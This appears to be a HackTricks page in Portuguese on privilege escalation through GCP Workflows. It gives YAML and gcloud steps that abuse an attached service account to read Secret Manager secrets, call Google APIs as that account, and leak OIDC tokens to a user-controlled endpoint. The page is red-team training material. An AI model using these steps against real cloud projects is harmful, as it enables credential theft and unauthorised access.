GCP - Workflows Privesc

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Workflows

Informação Básica:

GCP - Workflows Enum

workflows.workflows.create, iam.serviceAccounts.ActAs, workflows.executions.create, (workflows.workflows.get, workflows.operations.get)

Pelo que sei, não é possível obter um shell com acesso ao endpoint de metadata contendo as credenciais da SA anexada a um Workflow. Entretanto, é possível abusar das permissões da SA adicionando as ações a serem executadas dentro do Workflow.

É possível encontrar a documentação dos conectores. Por exemplo, esta é a page of the Secretmanager connector. Na barra lateral é possível encontrar vários outros conectores.

E aqui você pode encontrar um exemplo de um conector que imprime um segredo:

Configuração YAML do Workflow para acessar segredos ```yaml main: params: [input] steps: - access_string_secret: call: googleapis.secretmanager.v1.projects.secrets.versions.accessString args: secret_id: secret_name version: 1 project_id: project-id result: str_secret - returnOutput: return: "${str_secret}" ```

Atualização pela CLI:

Implantar e executar workflows pela CLI ```bash gcloud workflows deploy \ --service-account=email@SA \ --source=/path/to/config.yaml \ --location us-central1 ``` Se você receber um erro como `ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist`, basta **esperar um minuto e tentar novamente**.

Se você não tiver acesso web, é possível acionar e ver a execução de um Workflow com:

# Run execution with output
gcloud workflows run <workflow-name> --location us-central1

# Run execution without output
gcloud workflows execute <workflow-name> --location us-central1

# List executions
gcloud workflows executions list <workflow-name>

# Get execution info and output
gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>

Caution

Você também pode verificar a saída de execuções anteriores para procurar informações sensíveis

Observe que mesmo se você receber um erro como PERMISSION_DENIED: Permission 'workflows.operations.get' denied on... porque não possui essa permissão, o workflow foi gerado.

Leak OIDC token (and OAuth?)

De acordo com a documentação é possível usar passos do workflow que enviarão uma requisição HTTP com o token OAuth ou OIDC. No entanto, assim como no caso do Cloud Scheduler, a requisição HTTP com o token OAuth deve ser para o host .googleapis.com.

Caution

Portanto, é possível leak o token OIDC indicando um endpoint HTTP controlado pelo usuário, mas para leak o token OAuth você precisaria de um bypass para essa proteção. Entretanto, você ainda pode contatar qualquer GCP api para executar ações em nome do SA usando conectores ou requisições HTTP com o token OAuth.

Oauth

Requisição HTTP do workflow com token OAuth ```yaml - step_A: call: http.post args: url: https://compute.googleapis.com/compute/v1/projects/myproject1234/zones/us-central1-b/instances/myvm001/stop auth: type: OAuth2 scopes: OAUTH_SCOPE ```
#### OIDC
Requisição HTTP do Workflow com token OIDC ```yaml - step_A: call: http.get args: url: https://us-central1-project.cloudfunctions.net/functionA query: firstNumber: 4 secondNumber: 6 operation: sum auth: type: OIDC audience: OIDC_AUDIENCE ```
### `workflows.workflows.update` ...

Com essa permissão, em vez de workflows.workflows.create, é possível atualizar um workflow já existente e realizar os mesmos ataques.

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks